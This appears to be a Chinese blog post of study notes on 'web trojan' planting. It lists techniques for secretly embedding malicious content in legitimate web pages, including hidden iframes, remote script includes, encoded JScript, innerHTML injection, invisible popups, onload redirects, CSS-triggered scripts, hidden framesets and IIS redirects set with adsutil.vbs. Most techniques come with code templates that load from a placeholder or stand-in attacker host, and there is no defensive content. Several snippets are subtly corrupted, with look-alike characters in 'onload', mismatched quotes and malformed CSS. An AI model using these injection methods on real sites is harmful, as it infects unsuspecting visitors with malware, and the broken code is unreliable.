网页木马攻防实战学习笔记一

把网页木马嵌入到正常网页中的行为就称“挂马”。

网页木马的隐藏技术

  • 插入隐藏框架:<iframe src = http://网页木马地址 width=0 height=0></iframe>
  • 利用javascript:<script src = "http://xx.js" type = text/javascript>

       利用JS引入木马的方式很多:

1 在js中直接写出框架网页木马,示例代码如下:

document.write("<iframe width=’0’ height=’0’src='网页木马地址'></iframe>");

2 指定language的属性为"JScript.Encode",示例代码如下:

<SCRIPT language="JScript.Encode"src=http://www.xxx.com/mm.jpg></script>;

3 利用js更改body的innerHTML属性,示例代码如下:

top.document.body.innerHTML=top.document.body.innerHTML+'rin<iframe src="http://网页木马地址/%22%3E%3C/iframe%3E

4 利用JavaScript的window.open方法打开一个不可见的新窗口,示例代码如下:
<SCRIPT language=javascript>window.open("网页木马地址","","toolbar=no.location=no,
directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");</script>

5 利用URL欺骗,示例代码如下:

<a href="http://www.163.com”onMouseOver="www_163_com();return true;">页面要显示的正常内容</a>:
<SCRIPT Language="JavaScript">
function www_163_com()
{var url="网页木马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,
scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");}
</SCRIPT>
  • 利用body的onload属性引入网页木马:

<body οnlοad="window.location='网页木马地址’;"></body>

  • 利用层叠样式表CSS引入js,从而引入网页木马,示例代码如下:

body(background- image:url(javascript:document.write("<script src=http://www.XXX.com/xx.js</script>")’)}

  • 利用隐藏的分割框架引入网页木马,示例代码如下:
<frameset rows=”444,0” cols=”*”>
<frame src = “正常网页” framborder=”no” scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="网页木马" frameborder="no"scrolling="no"noresize marginwidth="0"margingheight="0">
</frameset>
  • 利用ISAPI引入网页木马
  • 利用IIS的资源重定向引入网页木马:
1 用如下命令建立虚拟目录:
script adsutil,vbs Create W3SVC/1/Root/include"IIiaWebVirtualDir”
于是就建立了一个IIS里不可见的虚拟目录,因为没有设置路径,所以不会在IIS管理器中显示。

2 在这个目录下建立一个名字叫做xx.js的虚拟目录:
script adsutil.vbs Create W3svc/1/Root/include/xx.js"IisWebVirtualDir”
这样,就存在一个include/xx.js的虚拟目录了。

3 利用脚本对这个目录进行资源重定向
cscript adsutil.vbs set W3SVC/1/Root/www/include/mm2.js/httpredirect"http://xx.com/yy.js"
这样就更改了xx.js虚拟目录的重定向特性。 
  • 利用数据库引入网页木马
  • 利用统计网站大规模挂马
  • 利用ARP欺骗引入网页木马
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值